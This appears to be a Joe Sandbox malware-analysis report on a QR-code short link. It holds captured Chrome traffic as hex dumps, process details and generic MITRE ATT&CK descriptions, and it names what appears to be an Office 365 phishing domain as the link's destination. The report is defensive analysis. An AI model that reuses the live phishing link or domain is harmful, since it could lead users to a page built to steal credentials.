2024-02-23 10:49:51 UTC	15627	IN	Data Raw: 00 00 01 00 06 00 80 80 10 00 00 00 00 00 68 28 00 00 66 00 00 00 48 48 10 00 00 00 00 00 e8 0d 00 00 ce 28 00 00 30 30 10 00 00 00 00 00 68 06 00 00 b6 36 00 00 20 20 10 00 00 00 00 00 e8 02 00 00 1e 3d 00 00 18 18 10 00 00 00 00 00 e8 01 00 00 06 40 00 00 10 10 10 00 00 00 00 00 28 01 00 00 ee 41 00 00 28 00 00 00 80 00 00 00 00 01 00 00 01 00 04 00 00 00 00 00 00 28 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff ff 00 ef a4 00 00 00 b9 ff 00 00 ba 7f 00 22 50 f2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 20 00 00 03 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 Data Ascii: h(fHH(00h6 =@(A(("P"""""""""""""""""""""""""""""" 333333333333333
2024-02-23 10:49:51 UTC	1547	IN	Data Raw: 00 00 00 00 00 01 80 00 00 00 00 00 00 01 80 00 00 00 00 28 00 00 00 20 00 00 00 40 00 00 00 01 00 04 00 00 00 00 00 80 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff ff 00 ef a4 00 00 00 b9 ff 00 00 bc 7b 00 1f 4c f9 00 22 50 f2 00 f7 a6 00 00 00 ba 7f 00 f3 a6 00 00 1e 4e f6 00 23 4e f4 00 f3 a4 00 00 00 bc 7d 00 00 ba 7d 00 00 00 00 00 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 Data Ascii: ( @{L"PN#N}}"""""""3333333"""""""3333333"""""""3333333"""""""3333333"""""""3333333"""""""3333333"""""""3333333"""""""3333333""""

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
54	192.168.2.4	49815	13.107.213.40	443	5932	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-02-23 10:49:51 UTC	380	OUT	GET /images/2_vD0yppaJX3jBnfbHF1hqXQ2.svg HTTP/1.1 Host: acctcdn.msftauth.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-02-23 10:49:51 UTC	797	IN	HTTP/1.1 200 OK Date: Fri, 23 Feb 2024 10:49:51 GMT Content-Type: image/svg+xml Content-Length: 673 Connection: close Cache-Control: public, max-age=604800 Content-Encoding: gzip Last-Modified: Fri, 23 Feb 2024 05:36:26 GMT ETag: 0x8DC34316134122F x-ms-request-id: 679a7e97-301e-00a0-4f45-66b0dd000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20240223T104951Z-nxqa65tnwx2zf158n9sg35wnqc00000000w000000000448f x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-02-23 10:49:51 UTC	673	IN	Data Raw: 1f 8b 08 00 00 00 00 00 04 00 b5 55 db 6e db 30 0c fd 15 c1 7d 69 1e ac 50 b2 ae 43 1c a0 37 6c 2f c3 0a 64 fd 80 d4 b1 13 03 ae 1d d8 6e d3 f6 eb 47 ca f6 96 0c 79 6c 10 20 e6 91 45 f2 f0 98 94 16 dd db 96 bd bf 54 75 97 46 bb be df 7f 9b cf 0f 87 03 3f 24 bc 69 b7 73 09 00 73 dc 11 b1 43 b9 e9 77 69 24 bc 84 88 ed f2 72 bb eb 11 81 43 54 94 55 95 46 75 53 e7 d1 72 b1 65 cd 7e 9d 95 fd 47 1a 71 19 b1 ac 2a f7 f1 7e 4d ae af 6d 75 7d f5 30 c3 3d 84 d9 26 8d 7e 0a 65 0c 57 4c 58 af b9 cc bc 06 9e 58 06 88 25 70 17 1b 69 b9 96 13 12 0a 04 37 2b a9 84 e1 d6 c6 02 c0 b1 c1 3f d8 b1 d4 0a cd c4 01 57 4e 0e 88 25 3e e1 a6 b3 16 d7 24 ed a6 08 63 bc 11 7d 4e f4 03 bb 9b 59 34 3f a2 97 78 c5 31 bf 13 9a 9b cc 2a c3 b5 23 76 89 16 c8 47 61 6c 39 01 21 02 39 81 41 Data Ascii: Un0}iPC7l/dnGyl ETuF?$issCwi$rCTUFuSre~Gq~Mmu}0=&~eWLXX%pi7+?WN%>$c}NY4?x1#vGal9!9A

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
55	192.168.2.4	49830	35.190.80.1	443	5932	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-02-23 10:50:24 UTC	568	OUT	OPTIONS /report/v3?s=5MkxOQxvOwyoP%2F2RwmofFl6udW2XaFFytYqGx0nCxXSiLz1tZZtS%2ByI7KOthz2Je%2BJsJUioCcAzd3LpF7srMZRFME1WBk8ndKwMHcPMaztMBIC1n7rJiLRz%2FBZyJKh5%2B16zpP0jRgqg9OTmmBPk%3D HTTP/1.1 Host: a.nel.cloudflare.com Connection: keep-alive Origin: https://o365.mojopowertsinctech.com Access-Control-Request-Method: POST Access-Control-Request-Headers: content-type User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-02-23 10:50:24 UTC	336	IN	HTTP/1.1 200 OK Content-Length: 0 access-control-max-age: 86400 access-control-allow-methods: POST, OPTIONS access-control-allow-origin: * access-control-allow-headers: content-length, content-type date: Fri, 23 Feb 2024 10:50:24 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
56	192.168.2.4	49831	35.190.80.1	443	5932	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-02-23 10:50:25 UTC	498	OUT	POST /report/v3?s=5MkxOQxvOwyoP%2F2RwmofFl6udW2XaFFytYqGx0nCxXSiLz1tZZtS%2ByI7KOthz2Je%2BJsJUioCcAzd3LpF7srMZRFME1WBk8ndKwMHcPMaztMBIC1n7rJiLRz%2FBZyJKh5%2B16zpP0jRgqg9OTmmBPk%3D HTTP/1.1 Host: a.nel.cloudflare.com Connection: keep-alive Content-Length: 455 Content-Type: application/reports+json User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-02-23 10:50:25 UTC	455	OUT	Data Raw: 5b 7b 22 61 67 65 22 3a 35 34 32 31 31 2c 22 62 6f 64 79 22 3a 7b 22 65 6c 61 70 73 65 64 5f 74 69 6d 65 22 3a 35 39 35 2c 22 6d 65 74 68 6f 64 22 3a 22 47 45 54 22 2c 22 70 68 61 73 65 22 3a 22 61 70 70 6c 69 63 61 74 69 6f 6e 22 2c 22 70 72 6f 74 6f 63 6f 6c 22 3a 22 68 74 74 70 2f 31 2e 31 22 2c 22 72 65 66 65 72 72 65 72 22 3a 22 22 2c 22 73 61 6d 70 6c 69 6e 67 5f 66 72 61 63 74 69 6f 6e 22 3a 31 2e 30 2c 22 73 65 72 76 65 72 5f 69 70 22 3a 22 31 37 32 2e 36 37 2e 32 30 34 2e 31 38 33 22 2c 22 73 74 61 74 75 73 5f 63 6f 64 65 22 3a 34 30 30 2c 22 74 79 70 65 22 3a 22 68 74 74 70 2e 65 72 72 6f 72 22 7d 2c 22 74 79 70 65 22 3a 22 6e 65 74 77 6f 72 6b 2d 65 72 72 6f 72 22 2c 22 75 72 6c 22 3a 22 68 74 74 70 73 3a 2f 2f 6f 33 36 35 2e 6d 6f 6a 6f 70 6f Data Ascii: [{"age":54211,"body":{"elapsed_time":595,"method":"GET","phase":"application","protocol":"http/1.1","referrer":"","sampling_fraction":1.0,"server_ip":"172.67.204.183","status_code":400,"type":"http.error"},"type":"network-error","url":"https://o365.mojopo
2024-02-23 10:50:25 UTC	168	IN	HTTP/1.1 200 OK Content-Length: 0 date: Fri, 23 Feb 2024 10:50:24 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Target ID:	0
Start time:	11:49:11
Start date:	23/02/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	2
Start time:	11:49:14
Start date:	23/02/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2408 --field-trial-handle=2372,i,8607194421780952644,2411347449905481728,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff7699e0000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	3
Start time:	11:49:17
Start date:	23/02/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	C:\Program Files\Google\Chrome\Application\chrome.exe" "https://qrco.de/beoXnp
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Chronological Activities

Disassembly

⊘No disassembly

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may gain access to a system through a user visiting a website over the normal course of browsing. With this technique, the user's web browser is typically targeted for exploitation, but adversaries may also use compromised websites for non-exploitation behavior such as acquiring Application Access Token .
Tactics:	Initial Access
Data Sources:	Application Log: Application Log Content, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Process: Process Creation
Platforms:	Linux, macOS, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report https://qrco.de/beoXnp

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

HTML

Sigma Signatures

Snort Signatures

Joe Sandbox Signatures

AV Detection

Phishing

Compliance

Networking

System Summary

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Chrome Cache Entry: 100

Chrome Cache Entry: 101

Chrome Cache Entry: 102

Chrome Cache Entry: 103

Chrome Cache Entry: 104

Chrome Cache Entry: 105

Chrome Cache Entry: 106

Chrome Cache Entry: 107

Chrome Cache Entry: 108

Chrome Cache Entry: 109

Chrome Cache Entry: 110

Chrome Cache Entry: 111

Chrome Cache Entry: 112

Chrome Cache Entry: 113

Chrome Cache Entry: 114

Chrome Cache Entry: 115

Chrome Cache Entry: 116

Chrome Cache Entry: 117

Chrome Cache Entry: 118

Chrome Cache Entry: 119

Chrome Cache Entry: 120

Chrome Cache Entry: 71

Chrome Cache Entry: 72

Chrome Cache Entry: 73

Chrome Cache Entry: 74

Chrome Cache Entry: 75

Chrome Cache Entry: 76

Windows Analysis Report
https://qrco.de/beoXnp